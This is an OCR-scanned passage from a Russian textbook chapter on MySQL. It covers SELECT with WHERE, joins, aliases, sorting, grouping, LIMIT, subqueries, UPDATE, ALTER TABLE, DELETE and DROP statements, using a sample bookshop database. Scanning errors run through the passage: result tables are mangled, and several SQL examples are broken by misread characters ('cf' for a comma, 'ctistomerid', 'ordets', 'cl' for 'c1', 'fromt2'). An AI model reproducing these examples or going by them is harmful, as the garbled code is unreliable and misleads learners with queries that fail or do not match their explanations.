name -+ I city Дед Мороз I На Далеком Диком Севере Шерлок Холмс I Лондон Саша Валентей • ‘ I г. Изумрудный Ева Легкая I г. Солнечный Слава Моргунов I пгт Хогвартс --L Как видите, из указанной таблицы клиентов customers получена таблица с вы- бранными элементами — name (ФИО) и city (город). Эти данные собраны из всех строк таблицы customers. Из таблицы можно выбирать любое количество столбцов, помещая их список по- сле ключевого слова SELECT. Кроме того, в операторе можно указывать и другие эле- менты. Весьма полезна групповая операция *, которая соответствует всем столбцам указанной таблицы (или таблиц). Например, чтобы извлечь все столбцы и строки из таблицы orderitems, можно воспользоваться следующим оператором: select * from order_items; в результате выполнения которого будет получен такой вывод: +---------+----------------+----------+ I orderid I isbn | quantity | + + + I 1 1 5-8459-0046-8 I 2 1 1 2 | 5-8459-0426-9 I 1 | 1 '3 | 5-8459-0426-9 I 1 | 1 3’ | 5-8459-1134-6 I 1 | 1 4 | 4- +. 5-8459-1082-Х I + 3 1 + Извлечение данных по определенному критерию Чтобы получить доступ к подмножеству строк в таблице, необходимо задать кри- терий выбора. Для этого можно воспользоваться конструкцией WHERE. Например, оператор select * from orders where customerid = 5; выбирает все столбцы из таблицы заказов, но только из строк, в которых значение customerid равно 5. В результате будет получен следующий вывод: +--------+-----------+------+-----------+ I orderid I customerid | amount | date | +--------+-----------+------+-----------+ I 1| 5| 69.98 1 2008-04-02 | I 4 | 5 | 24.99 | 2008-05-01 | +--------+-----------+------+-----------+ Конструкция WHERE устанавливает критерий выбора определенных строк. В нашем случае выбраны строки, в которых столбец orderid содержит значение, равное 5. Одиночный знак равно (=) используется для проверки на равенство — обратите вни- Глава 10. Работа с базой данных MySQL 249
мание, что этот синтаксис несколько отличается от синтаксиса РНР, и если работать и с тем, и с другим, вполне можно запутаться, потому-то и не стоит терять внимание. Кроме проверки на равенство, MySQL поддерживает целое семейство операций сравнения и регулярных выражений. Те из них, которые используются в конструк- ции where наиболее часто, перечислены в табл. 10.1. Таблица 10.1. Полезные операции сравнения, используемые в конструкциях WHERE Операция Название Пример Описание = равно customerid = 3 Проверяет, равны ли два значения. > больше amount > 60.00 Проверяет, больше ли одно значение другого. < меньше amount < 60.00 Проверяет, меньше ли одно значение другого. >= больше или равно amount >= 60.00 Проверяет, больше или равно одно значение по отношению к другому. <= меньше или равно amount <= 60.00 Проверяет, меньше или равно одно значе- ние по отношению к другому. ’ = ИЛИ о не равно quantity != 0 Проверяет, не равны ли два значения. IS NOT NULL не пусто address is not null Проверяет, содержит ли поле значение. IS NULL пусто address is null Проверяет, что поле не содержит значения. BETWEEN вдиапазоне amount between 0 and 60.00 Проверяет, является ли значение большим или равным минимальному и меньшим или равным максимальному. IN в числе city in ("Киев", "Минск") Проверяет, содержится ли значение в опре- деленном наборе. NOT IN не в числе city not in ("Киев", "Минск") Проверяет, не содержится ли значение в оп- ределенном наборе. LIKE соответствует шаблону name like ("Федот %") Используя простое сопоставление значения с SQL-шаблоном, проверяет, соответствует ли значение шаблону. NOT LIKE не соответствует шаблону name not like ("Федот %") Проверяет, что значение не соответствует шаблону. REGEXP регулярное выражение name regexp Проверяет, соответствует л и значение регу- лярному выражению. Этот список далеко не полон, и если понадобится что-нибудь, отсутствующее в нем, обратитесь к руководству по MySQL. Три последних строки табл. 10.1 содержат операции LIKE и REGEXP. Это формы проверки соответствия шаблону. Операция LIKE использует простое сопоставление с SQL-шаблоном. Шаблоны могут содержать обычный текст, а также групповой символ % (знак процента), озна- чающий соответствие с любым количеством символов, и _ (символ подчеркивания), означающий соответствие с одним символом. Ключевое слово REGEXP служит для сопоставления с регулярными выражениями. В MySQL используются регулярные выражения в стиле POSIX. Вместо REGEXP можно применять также ключевое слово RLIKE, являющееся его синонимом. 250 Часть II. Использование MySQL
Регулярные выражения POSIX также присутствуют и в РНР. Подробнее о них можно узнать в главе 4. Можно проверять несколько критериев сразу с использованием простых опера- ций и синтаксиса сопоставления с шаблоном, после чего комбинировать их в более сложные критерии с помощью операций AND и OR. Например: select * from orders where customerid = 3 or customerid = 4; Извлечение данных из нескольких таблиц Часто для получения ответа от базы данных могут потребоваться данные из не- скольких таблиц. Например, если необходимо узнать, кто из клиентов сделал заказы в течение данного месяца, придется просмотреть таблицы customers и orders. Если нужно узнать также, что конкретно они заказали, придется просмотреть и таблицу order_i terns. Эти данные хранятся в разных таблицах, поскольку относятся к разным реальным объектам. Это один из принципов правильной структуры базы данных, о которых шла речь в главе 8. Для получения информации подобного рода в SQL необходимо выполнить опе- рацию, называемую соединением (join). Соединение выполняется для двух и более таблиц в соответствии с отношениями между данными. Если, например, необходи- мо посмотреть, какие заказы сделала клиентка Саша Валентей, вначале потребуется просмотреть таблицу customers и найти в ней идентификатор клиента Саши (т.е. customerid), а затем — таблицу orders на предмет заказов, сделанных клиентом с данным идентификатором customerid. Хотя на первый взгляд операция соединения достаточно проста, на самом деле это один из наиболее сложных и тонких аспектов SQL. В MySQL реализовано не- сколько разных типов соединения, каждый из которых предназначен для определен- ных целей. Простое соединение двух таблиц Начнем с поиска заказов, выполненных Славой Моргуновым: select orders.orderid, orders.amount, orders.date from customers, orders where customers.name = ’Слава Моргунов’ and customers.customerid = orders.customerid; Результат запроса будет таким: +---------+--------+---------+ I orderid | amount | date | +---------+--------+---------+ | 1 | 69.98 | 2008-04-02 | I 4 | 24.99 | 2008-05-01 | +---------+--------+---------+ Здесь следовало бы отметить несколько моментов. Во-первых, для ответа на этот запрос необходима информация из двух таблиц, по- этому нужно указать обе. Глава 10. Работа с базой данных MySQL 251
Указав две таблицы, вы также указываете тип соединения, возможно, даже не зная его. Запятая между названиями таблиц эквивалентна конструкциям INNER JOIN (внутреннее соединение) или CROSS JOIN (перекрестное соединение). Такой тип со- единения еще называют полным соединением (full join) или декартовым произведением (Cartesian product) таблиц. Это означает следующее: “Взять указанные таблицы и сделать из них одну большую. Большая таблица должна содержать строку для любой возможной комбинации строк из каждой указанной в списке таблицы, независимо от того имеют они смысл или нет”. Другими словами, мы получаем таблицу, в которой каждая строка таблицы customers сопоставляется каждой строке таблицы orders независимо от того, какие заказа были сделаны конкретными клиентами. В большинстве случаев такое соединение не имеет большого смысла. Как прави- ло, нам требуются строки, которые действительно совпадают, т.е. когда конкретные заказы соответствуют клиентам, которыми они были сделаны. Это достигается путем помещения в конструкцию WHERE условия соединения. Это особый тип условного оператора, который поясняет, какие атрибуты отражают отно- шение между двумя таблицами. В данном случае условие соединения было таким: customers.customerid = orders.customerid что предписывает MySQL помещать в результирующую таблицу только те строки, для ко- торых customerid из таблицы customers совпадает с customerid из таблицы orders. Внеся это условие в запрос, мы, по сути, получили соединение другого типа — соединение по равенству (equi-join). Обратите внимание на точечную нотацию, которой мы воспользовались для уточ- нения конкретного столбца конкретной таблицы. Так, customers. customerid отно- сится к столбцу customerid из таблицы клиентов customers, a orders .‘customerid — к столбцу customerid из таблицы заказов orders. Потребность в точечной нотации возникает, когда имена столбцов неоднозначны, что случается, если одни и те же имена встречается в нескольких таблицах. Расширив эту концепцию, точечную нотацию можно применять для различения имен столбцов из разных баз данных. В приведенном примере используется запись в форме таблица. столбец. А с помощью записи база_данных. таблица. столбец можно указать базу данных, например, для проверки условия наподобие: books.orders.customerid = other_db.orders.customerid Вообще говоря, точечную нотацию можно применять и для всех ссылок на столбцы в запросе. Часто это может оказаться целесообразным, особенно в сложных запросах. MySQL этого не требует, но такая запись делает запросы значительно более читабель- ными и удобными в использовании. Мы придерживались этого соглашения в остальной части ранее приведенного запроса — например, при указании следующего условия: customers.name = ’Саша Валентей’ Столбец name присутствует только в таблице customers, поэтому его необязатель- но указывать. MySQL ничего не напутает. Но это проясняет смырл запроса для лю- дей, которые его читают. Соединение трех и более таблиц Соединение большего количества таблиц не сложнее соединения двух таблиц. Главное правило таково: таблицы необходимо объединять попарно, учитывая усло- вия соединения. Это можно представить в виде отношений между таблицами в каж- дой такой паре. 252 Часть II. Использование MySQL
Например, если требуется узнать, кто из клиентов заказал книги по Java (возмож- но, чтобы отправить им информацию о новых книгах данной тематики), нужно от- следить эти отношения в рамках сравнительно небольшого числа таблиц. Необходимо отыскать клиентов, разместивших, по крайней мере, один заказ, который содержит order item, соответствующий книге по Java. Чтобы из таблицы customers перейти к таблице orders, можно воспользоваться полем customerid, как это делалось ранее. Чтобы из таблицы orders перейти в таблицу order iterns, можно воспользоваться полем order id. Чтобы из таблицы orderitems перейти к конкретной книге в таблице books, можно использовать поле ISBN. После того как все связи установлены, можно запросить книги со словом “Java” в названии и полу- чить имена клиентов, которые купили какую-то из этих книг. Давайте посмотрим на запрос, выполняющий все только что описанные действия: select customers.name from customers, orders, order_iterns, books where customers.customerid = orders.customerid and orders.orderid = order_items.orderid and order_items.isbn = books.isbn and books.title like '%Java%'; Этот запрос дает следующий результат: +----------------+ I name | +----------------+ | Слава Моргунов | +----------------+ В этом примере использованы данные из четырех разных таблиц, а чтобы сделать это с помощью соединения по равенству, понадобились три разных условия соедине- ния. Обычно каждой паре таблиц требуется одно условие соединения. Таким обра- зом, количество условии соединения на единицу меньше количества объединяемых таблиц. Это основное правило может пригодиться при отладке запросов, которые отказываются работать. Проверьте условия соединения и убедитесь в том, что после- довательность связей отражает путь от уже известного к тому, что нужно узнать. Поиск несовпадающих строк Другой распространенный в MySQL тип соединения — левостороннее соединение (left join). В предыдущих примерах отбирались только те строки, в которых наблюдалось соответствие между таблицами. Однако могут потребоваться и строки, в которых со- ответствие отсутствует — например, нужно найти клиентов, которые не сделали ни одного заказа, или книги, которые вообще никто не заказывал. Самый простой вариант ответа на такой вопрос в MySQL предполагает исполь- зование левостороннего соединения, при котором выполняется поиск строк по указанному условию соединения двух таблиц. Если в указанной справа таблице нет подходящей строки, к результату добавляется строка с нулевыми значениями в соот- ветствующих столбцах. Рассмотрим пример: select customers.customerid, customers.name, orders.orderid from customers left join orders on customers.customerid = orders.customerid; Глава 10. Работа с базой данных MySQL 253
Данный запрос SQL использует левостороннее соединение для таблиц customers и orders. Его синтаксис в отношении условий соединения несколько иной; условие соединения указывается в специальной конструкции ON SQL-оператора. Вот как выглядит результат запроса: 1 customerid 1 name | orderid 1 1 I Дед Мороз | NULL 2 I Шерлок Холмс | NULL 3 I Саша Валентен 1 2 4 I Ева Легкая 1 з 5 | Слава Моргунов | 1 +- 5 I Слава Моргунов 1 4 -+ -+ Из результата видно, что для клиентов Дед Мороз и Шерлок Холмс нет соответ- ствующих идентификаторов заказов, поскольку их поля orderid имеют значения NULL. Если необходимо найти только тех клиентов, которые ничего не заказывали, это- го можно достичь, выполнив проверку на наличие значений NULL в поле первичного ключа правой таблицы (в данном случае, orderid), так как строки с реальными зна- чениями не могут содержать значение NULL: select customers.customerid, customers.name from customers left join orders using (customerid) where orders. orderid is null; Результат этого запроса выглядит следующим образом: +------------+------------+ I customerid | name | +------------+------------+ I 1 | Дед Мороз | I 2 | Шерлок Холмс | +-------<----+------------+ Вероятно, вы обратили внимание на то, что в этом примере мы использовали не- сколько иной синтаксис условия соединения. Левостороннее соединение поддержи- вает как синтаксис ON, который был использован в первом примере, так и сйнтаксис USING, который применялся во втором. Синтаксис USING не предполагает указания таблицы, из которой поступает атрибут соединения, поэтому, чтобы его можно было использовать, столбцы в обеих таблицах должны называться одинаково. Вопрос подобного рода можно задать базе данных и с помощью подзапросов, ко- торые рассматриваются далее в этой главе. Использование других имен таблиц: псевдонимы Часто бывает очень удобно, а порой и необходимо, обращаться к таблицам по дру- гим именам. Такие имена называются псевдонимами (alias). Их можно создать в самом начале запроса, а затем использовать по мере необходимости. Часто псевдонимы очень удобно применять в качестве кратких имен. Взгляните, как выглядит достаточ- но громоздкий рассмотренный нами ранее запрос, переписанный с использованием псевдонимов: 254 Часть II. Использование MySQL
select c.name from customers as cf orders as o, order_items as oi, books as b where c.customerid = o.customerid and o.orderid = oi.orderid and oi.isbn = b.isbn and b.title like ’%Java%’; Для присвоения псевдонима таблице используется конструкция AS. Кроме того, псевдонимы можно присваивать столбцам, однако к этому мы вернемся после того, как рассмотрим функции агрегирования. Псевдонимы таблиц необходимы в случае соединения таблицы с самой собой. На первый взгляд, такая операция кажется более сложной и загадочной, чем это есть на самом деле. Тем не менее, такой подход очень удобен для поиска в одной и той же таблице строк, содержащих одинаковые значения. Если требуется найти клиентов, живущих в одном городе — скажем, с целью создания читательского клуба — одной и той же таблице (customers) можно присвоить два разных псевдонима: select cl.name, c2.name, cl.city from customers as cl, customers as c2 where cl.city = c2.city and cl.name ! = c2.name; Мы делаем вид, что таблица customers — это две разных таблицы cl и с2, и вы- полняем их соединение по столбцу City. Второе условие, cl. name ! = с2. name, необ- ходимо для предотвращения сравнения клиента с самим собой. Резюме по типам соединений В табл. 10.2 перечислены различные рассмотренные ранее типы соединений. Существуют также несколько других типов, однако приведенные в табл. 10.2 соедине- ния используются наиболее часто. Таблица 10.2. Типы соединений в MySQL Название Описание Декартово произведение Все комбинации всех строк во всех таблицах. Для применения между именами таблиц ставят запятые и не используют конструкцию where. Полное соединение Аналогично предыдущему. Перекрестное соединение Аналогично предыдущему. Также может применяться с помощью указания ключевых слов cross join между названиями объединяе- мых таблиц. Внутреннее соединение Семантически эквивалентно запятой. Может использоваться с указа- нием ключевых слов inner join. Без условия where эквивалентно полному соединению. Обычно при истинно внутреннем соединении задается условие where . Соединение по равенству Использует условное выражение со знаком = для сопоставления в соединении строк из различных таблиц. В SQL в этом соединении применяется конструкция where. Левостороннее соединение Предпринимает попытку сопоставить строки в таблицах и заполняет несовпадающие строки значениями null. В SQL используется с клю- чевыми словами left join. Предназначено для поиска отсутствую- щих значений. Аналогично можно употреблять right join. Глава 10. Работа с базой данных MySQL 255
Извлечение данных в определенном порядке Если извлеченные по запросу строки должны перечисляться в определенном по- рядке, можно воспользоваться конструкцией ORDER BY оператора SELECT. Эта осо- бенность удобна для представления результатов запроса в удобочитаемом формате. Конструкция ORDER BY применяется для сортировки строк в столбцах, указанных в операторе SELECT. Например: select name, address from customers order by name; Такой запрос выведет имена и адреса клиентов в алфавитном порядке по име- нам: name 1 address Дед Мороз Ева Легкая Саша Валентей Слава Моргунов Шерлок Холмс 1 1 1 1 1 -+ 34, пр. Незнайки 12, ул. Гудвина 56, пер. Поттера 2216, Бейкер-стрит Обратите внимание, что в данном случае, поскольку имена состоят из собственно имени и фамилии, они упорядочены по имени. Если требуется выполнить сортиров- ку по фамилии (которая стоит второй), нужно, чтобы имя и фамилия хранились в двух различных полях. По умолчанию используется порядок сортировки по возрастанию (от а до z или в порядке возрастания числовых значений). При желании этот порядок сортировки можно указать ключевым словом ASC (“ascending” — “по возрастанию”): select name, address from customers order by name asc; Изменить порядок сортировки на обратный можно с помощью другого ключевого слова — DESC (“descending” — “по убыванию”): select name, address from customers order by name desc; Сортировать можно и по нескольким столбцам. Вместо названий можно использо- вать псевдонимы столбцов, и даже их порядковые номера (например, 3 для третьего столбца в таблице). Группировка и агрегирование данных Нередко требуется узнать, сколько строк относится к определенному набору или каково среднее значение какого-нибудь столбца — скажем, средняя сумма одного зака- за в денежном выражении. В MySQL имеется набор функций агрегирования, которые неплохо подходят для выполнения задач подобного рода. Эти функции агрегирования можно применять как к таблице в целом, так и к группам данных внутри таблицы. 256 Часть II. Использование MySQL
Наиболее часто используемые функции перечислены в табл. 10.3. Таблица 10.3. Функции агрегирования в MySQL Название Описание AVG (столбец) Средняя величина значений в указанном столбце. COUNT (элементы) При указании столбца выдается количество ненулевых значений в этом столб- це. Если перед названием столбца поместить слово distinct, выдается только количество различных значений в столбце. Если указать count (*) — подсчет строк будет производиться независимо от нулевых значений. MIN (столбец) Минимальное значение в указанном столбце. МАХ (столбец) Максимальное значение в указанном столбце. STD(столбец) Стандартное отклонение значений в указанном столбце. STDDEV(столбец) Аналогично предыдущему. SUM(столбец) Сумма значений в указанном столбце. Рассмотрим несколько примеров, начиная с упомянутого ранее. Среднюю сумму заказа можно вычислить следующим образом: select avg(amount) from orders; Результат будет приблизительно таким: +-------------+ | avg(amount) | +---------с—+ I 54.985002’ | +-------------+ Для получения более подробной информации можно воспользоваться конструк- цией GROUP BY. Это позволит просмотреть среднюю сумму заказа по группам, напри- мер, по номеру клиента, что позволит выяснить, кто из клиентов делает самые круп- ные заказы: select customerid, avg(amount) from orders group by customerid; Указание конструкции GROUP BY в сочетании с функцией агрегирования меняет поведение функции. Вместо того чтобы выдавать среднюю сумму всех заказов в таб- лице, такой запрос выведет информацию по средней сумме заказов, сделанных каж- дым клиентом (а если точнее, каждым customerid): customerid -+ I avg(amount) 3 I 49.990002 4 I 74.980003 5 I 47.485002 Глава 10. Работа с базой данных MySQL 257
При использовании функций группировки и агрегирования необходимо обра- тить внимание на следующий момент: если функция агрегирования или конструкция GROUP BY используется в ANSI SQL, в операторе SELECT могут присутствовать только функции агрегирования и столбцы, указанные в конструкции GROUP BY. Кроме того, если столбец требуется задействовать в конструкции GROUP BY, он должен присутст- вовать в операторе SELECT. На самом деле MySQL обеспечивает гораздо большую свободу действий, поддер- живая расширенный синтаксис, который дает возможность убирать ненужные элемен- ты из оператора SELECT. Кроме группировки и агрегирования данных имеется возможность проверить результат агрегирования, используя конструкцию HAVING. Она следует сразу после конструкции GROUP BY и подобна конструкции WHERE, однако применяется только к группам и совокупностям. Чтобы расширить предыдущий пример, скажем, для получения информации о том, у кого из клиентов средняя сумма заказа превышает 50 долларов, можно вос- пользоваться следующим запросом: select customerid, avg(amount) from orders group by customerid having avg(amount) > 50; Обратите внимание, что конструкция HAVING применяется к группам. Такой за- прос приводит к получению следующего результата: +--------------+------------+ I customerid | avg(amount) | +--------------+------------+ I 4 | 74.980003 | +--------------+------------+ Выбор возвращаемых строк Конструкцией оператора SELECT, которая может оказаться особенно полезной в веб-приложениях, является LIMIT. Ее используют для указания строк результата, ко- торые должны быть возвращены. Она требует указания двух параметров: номера на- чальной строки и количества возвращаемых строк. Следующий запрос иллюстрирует применение LIMIT: select name from customers limit 2, 3; Этот запрос можно интерпретировать следующим образом: “Выбрать имена кли- ентов, а затем возвратить 3 строки, начиная со строки 2”. Не забывайте, что нумера- ция строк начинается с нуля. Эта конструкция очень удобна для веб-приложений, например, когда покупатель просматривает каталог, и необходимо, чтобы на каждой странице отображалось толь- ко 10 пунктов. Обратите, однако, внимание, что конструкция LIMIT в стандарте ANSI SQL отсутствует. Это расширение MySQL, поэтому использование LIMIT приводит к несовместимости кода со многими СУРБД. 258 Часть II. Использование MySQL
Использование подзапросов Подзапрос — это запрос, вложенный внутрь другого запроса. Хотя большая часть функциональности’ подзапросов может быть реализована за счет использования со- единений и временных таблиц, подзапросы часто легче читать и реализовывать. Простые подзапросы Наиболее распространенным применением подзапросов можно считать случай, когда результат одного запроса используется в операции сравнения, находящейся в другом запросе. Например, если необходимо найти заказ на максимальную сумму сре- ди всех заказов, то оператор SELECT может выглядеть следующим образом: select customerid, amount from orders where amount = (select max(amount) from orders); Результат его выполнения показан ниже: +-----------+------+ I customerid | amount | +-----------+------+ I 4 | 74.98 | +-----------+------+ В этом случае подзапрос возвращает единственное значение (максимальную сумму заказа), которое затем участвует в сравнении в рамках внешнего запроса. Это очень хороший пример, поскольку запрос подобного рода не может быть элегантно реали- зован в ANSI SQL. Однако тот же самый вывод дает и запрос с соединением: select ctistomerid, amount from ordets order by amount desc limit 1; Но в силу наличия в данном запросе конструкции LIMIT он не совместим с боль- шинством СУРБД, хотя в MySQL он выполняется более эффективно, чем вариант с подзапросом. Одна из главных причин, почему механизм подзапросов так долго не появлялся в MySQL, состоит в том, что существует очень мало вещей, которые можно выполнять только с их помощью. Технически можно создать одиночный, совместимый с ANSI SQL запрос, который дает тот же эффект, но основывается на неэффективном и хит- ром приеме, который носит название MAX-CONCAT. Значения, полученные из подзапросов, можно использовать во всех стандартных операциях сравнения. Доступны также некоторые специальные операции сравнения для подзапросов; они рассматриваются в следующем разделе. Подзапросы и операции Существуют пять специальных операций подзапросов. Четыре из них использу- ются в обычных подзапросах, и одна (EXISTS) — как правило, только в связанных (correlated) подзапросах, которые рассматриваются в следующем разделе. Четыре обычных операции подзапросов описаны в табл. 10.4. Глава 10. Работа с базой данных MySQL 259
Таблица 10.4. Операции подзапросов Название Пример синтаксиса Описание ANY SELECT cl FROM tl Возвращает true, если сравнение истин- WHERE cl > ANY (SELECT cl FROM t2) ; но для какой-либо строки в подзапросе. IN SELECT cl FROM tl WHERE cl IN (SELECT cl from t2); Эквивалентна =any. SOME SELECT cl FROM tl Другое название any; некоторым нравит- WHERE cl > SOME (SELECT cl EROM t2) ; ся больше. ALL SELECT cl FROM tl Возвращает true, если сравнение истин- WHERE cl > ALL (SELECT cl from t2) ; но для всех строк в подзапросе. Каждая из этих операций может находиться только после операции сравнения, за исключением IN, которая имеет свою операцию сравнения (=), “свернутую внутри”, если можно так выразиться. Связанные подзапросы Связанные подзапросы более сложны в понимании. В них элементы, полученные во внешнем запросе, используются во внутреннем запросе. Например: select isbn, title from books where not exists (select * from order_items where order_items.isbn=books.isbn); В приведенном запросе демонстрируется применение как связанных подзапросов, так и специальной операции подзапросов EXISTS. Запрос извлекает все книги, кото- рые никогда не были заказаны. (Выше в главе вы получали эту информацию с помо- щью левого соединения.) Обратите внимание, что внутренний запрос включает таб- лицу order iterns только в список FROM, однако ссылается на books, isbn. Другими словами, внутренний запрос ссылается на данные внешнего запроса. Это и есть оп- ределение связанного подзапроса: вы ищете строки внутреннего запроса, которые совпадают (или, как в рассмотренном примере, не совпадают) со строками внешнего запроса. Операция EXISTS (существует) возвращает true, если подзапрос содержит хоть одну совпадающую строку. Соответственно, операция NOT EXISTS (не существует) возвращает true, если подзапрос не содержит совпадающих строк. Строковые подзапросы Все рассмотренные до сих пор подзапросы возвращали единственное значение, которое в большинстве случаев равно true или false (как в предыдущем примере, использующем EXISTS). Строковые подзапросы возвращают целую строку, которая за- тем может сравниваться с целой строкой во внешнем запросе. Обычно такой подход используется для поиска строк одной таблицы, которые также существуют в другой таблице. База данных books не позволяет привести хороший пример, поэтому мы просто приведем обобщенный пример упомянутого синтаксиса: select cl, с2, сЗ from tl where (cl, c2, сЗ) in (select cl, c2, c3 fromt2); 260 Часть II. Использование MySQL
Использование подзапроса как временной таблицы Подзапрос можно использовать в конструкции FROM внешнего запроса. Этот под- ход дает возможность выполнять запрос к выходным данным подзапроса, рассматри- вая их как временную таблицу. Ниже показан простой пример: select * from (select customerid, name from customers where city='r. Солнечный’) as box_hill_customers; Обратите внимание, что мы поместили подзапрос в конструкцию FROM. Непосред- ственно после закрывающей скобки подзапроса результату подзапроса нужно при- своить какой-то псевдоним. После этого во внешнем запросе с псевдонимом можно работать как с любой другой таблицей. Обновление записей в базе данных Помимо того, что данные необходимо извлекать из базы данных, очень часто их нужно изменять. Например, иногда требуется повысить цены на книги в базе дан- ных. Это можно сделать с помощью оператора UPDATE. Типичная форма этого оператора выглядит следующим образом: UPDATE [LOW_PRIORITY] [IGNORE] имя_таблицы SET столбец! =выражение1, столбец2=выражение2, . . . [WHERE условие] [ORDER BY критерий— сортировки] [LIMIT количество] Основная идея заключается в обновлении таблицы с именем имя_ та блицы путем занесения в каждый указанный столбец соответствующего выражения. Действие опе- ратора UPDATE можно ограничить определенными строками, используя конструкцию WHERE и ограничив общее количество строк, которые будут обновлены, с помощью кон- струкции LIMIT. Конструкция ORDER BY обычно используется в связке с конструкцией LIMIT; например, если необходимо обновить только первых 10 строк, то часто требу- ется сначала расположить строки в определенном порядке. Если указаны конструкции LOW PRIORITY и IGNORE, то они работают точно так же, как в операторе INSERT. Рассмотрим несколько примеров. Если нужно повысить цену абсолютно всех книг на 10%, можно воспользоваться оператором UPDATE без конструкции WHERE: update books set price=price*l.1; Если же требуется изменить одну строку, скажем, адрес определенного клиента, можно поступить следующим образом: update customers set address = ’78, пр. Знайки' where customerid = 4; Изменение таблиц после создания Помимо обновления строк, может потребоваться изменить структуру таблиц в базе данных. Для этого служит очень гибкий оператор ALTER TABLE. Глава 10. Работа с базой данных MySQL 261
Его основная форма такова: ALTER TABLE [IGNORE] имя_таблицы изменение [, изменение ...] Обратите внимание, что в ANSI SQL один оператор ALTER TABLE может осущест- вить только одно преобразование, а вот его MySQL-версия лишена подобных ограни- чений. Для изменения различных аспектов таблицы можно использовать различные конструкции преобразования. Если присутствует необязательная конструкция IGNORE, то при попытке провести изменение, которое вызывает дублирование первичных ключей, первая строка с таким ключом останется в изменяемой таблице, а остальные будут удалены. Если же IGNORE не указана (по умолчанию это так), изменение завершается неудачей, и выполняется его откат. Различные типы преобразований, осуществляемые оператором ALTER TABLE, пе- речислены в табл. 10.5. Таблица 10.5. Возможные преобразования, выполняемые оператором alter table Синтаксис Описание ADD [COLUMN] описание_столбца [FIRST | AFTER столбец ] Добавляет новый столбец в указанное место (если ме- сто не указано, столбец добавляется в конец). описание_столбца требует указания имени и типа, точно также, как в операторе create. ADD [COLUMN] (описание_столбца, описание_столбца, . . .) Добавляет один или несколько столбцов в конец таблицы. ADD INDEX [индекс] (столбец, ...) Добавляет индекс по указанному столбцу (столбцам) таблицы. ADD [CONSTRAINT [символ]] PRIMARY KEY (столбец, . . .) Делает указанный столбец (столбцы) первичным клю- чом таблицы. Конструкция constraint применяется для таблиц с внешними ключами. Дополнительную ин- формацию можно найти в главе 13. ADD UNIQUE [CONSTRAINT [символ]] [индекс] (столбец, .. .) Добавляет уникальный индекс по указанному столбцу (столбцам) таблицы. Конструкция constraint приме- няется для таблиц InnoDB с внешними ключами. Допол- нительную информацию можно найти в главе 13. ADD [CONSTRAINT [символ]] FOREIGN KEY [индекс] (индексный—столбец, . . .) [ определение— ссылки] Добавляет в таблицу InnoDB внешний ключ. Дополнительную информацию можно найти в главе 13. ALTER [COLUMN] столбец {SET DEFAULT значение | DROP DEFAULT] Добавляет или удаляет значение по умолчанию для определенного столбца. CHANGE [COLUMN] столбец новое_описание_столбца Изменяет столбец с именем столбец^ соответствии с указанным описанием. Этот синтаксис можно исполь- зовать для изменения имени столбца, поскольку новое_описание_столбца включает в себя имя. MODIFY [COLUMN] описание_столбца Подобно change. Используется для изменения типов столбцов, но не их имен. DROP [COLUMN] столбец Удаляет столбец столбец. 262 Часть II. Использование MySQL
Окончание табл. 10.5 Синтаксис Описание DROP PRIMARY KEY • Удаляет первичный индекс (но не столбец). DROP INDEX индекс Удаляет указанный индекс. DROP FOREIGN KEY ключ Удаляет внешний ключ (но не столбец). DISABLE KEYS Отключает обновление индексов. ENABLE KEYS Включает обновление индексов. RENAME [AS] новое_имя_таблицы Переименовывает таблицу. ORDER BY имя_ столбца Повторно создает таблицу со строками в определенном порядке. (Но после того как начнется изменение табли- цы, строки больше не будут располагаться по порядку.) CONVERT ТО CHARACTER SET набор_симв COLLATE сопост Преобразует все текстовые столбцы к указанному на- бору символов и правилам сопоставления. [DEFAULT] CHARACTER SET набор_симв COLLATE сопост Устанавливает набор символов и правила сопоставле- ния по умолчанию. DISCARD TABLESPACE Удаляет лежащий в основе файл табличной памяти для таблицы InnoDB. (Дополнительную информацию по InnoDB можно найти в главе 13.) IMPORT TABLESPACE Повторно создает лежащий в основе файл табличной па- мяти для таблицы InnoDB. (Дополнительную информацию по InnoDB можно найти в главе 13.) па раме тры_ та блицы Позволяет переустановить параметры таблицы. Использует тот же синтаксис, что и create table. Рассмотрим наиболее типичные случаи употребления оператора ALTER TABLE. Часто внезапно оказывается, что какой-то столбец “недостаточно велик”, чтобы вместить в себе необходимые данные. Например, в нашей таблице customers имена и фамилии могут иметь длину до 50 символов. Вскоре может оказаться, что некото- рые имена и фамилии слишком длинны и сохраняются в таблице в усеченном виде. Подобную ситуацию можно легко исправить, изменив тип данных столбца, после чего он сможет принимать имена и фамилии длиной, скажем, до 70 символов: alter table customers modify name char(70) not null; Еще одна часто встречающаяся ситуация связана с необходимостью добавления столбца. Предположим, что в каждом регионе существует свой налог с продаж, по- этому магазину “Буквофил” приходится учитывать этот налог, но делать это раздель- но. В таблицу orders можно добавить столбец налога под названием tax: alter table orders add tax float(6,2) after amount; Иногда какой-нибудь столбец может оказаться лишним. Только что добавленный столбец можно удалить следующим образом: alter table orders drop tax; Глава 10. Работа с базой данных MySQL 263
Удаление записей из базы данных Удалять строки из базы данных очень просто. Это делается с помощью оператора DELETE, который в общем случае выглядит следующим образом: DELETE [LOW_PRIORITY] [QUICK] [IGNORE] FROM таблица [WHERE условие] [ORDER BY столбцЫ—УПорядоч] [LIMIT количество] Если просто записать: DELETE FROM таблица; то это приведет к удалению всех строк в таблице, так что будьте предельно осторож- ны! Обычно требуется удалить определенные строки, и их следует указывать с по- мощью конструкции WHERE. Например, подобная ситуация может возникнуть, если какая-то книга больше не продается или кто-то из клиентов длительное время ничего не заказывает: delete from customers where customerid=5; Конструкцию LIMIT можно использовать для ограничения максимального количе- ства в действительности удаляемых строк. Конструкция ORDER BY обычно использу- ется вместе с LIMIT. Конструкции LOW_PRIORITY и QUICK работают обычным образом. QUICK может ус- корить выполнение этого оператора на таблицах MylSAM. Удаление таблиц Временами возникает необходимость избавиться от целой таблицы. Это можно сделать с помощью оператора DROP TABLE. Его синтаксис исключительно прост: DROP TABLE таблица; Он удаляет все строки из таблицы и саму таблицу, так что будьте с ним поаккуратней. Удаление целой базы данных Можно пойти еще дальше и удалить целую базу данных, применив для этого опе- ратор DROP DATABASE: DROP DATABASE база_данных; В результате удаляются все строки, таблицы, индексы и сама база данных. Не сто- ит и говорить, что при использовании этого оператора нужно соблюдать предельную осторожность. Дополнительные источники информации В этой главе было рассмотрено то подмножество языка SQL, с которым обычно приходится иметь дело при работе с базами данных MySQL. В последующих двух главах мы объясним, как объединить MySQL с РНР, чтобы получать доступ к базе 264 Часть II. Использование MySQL
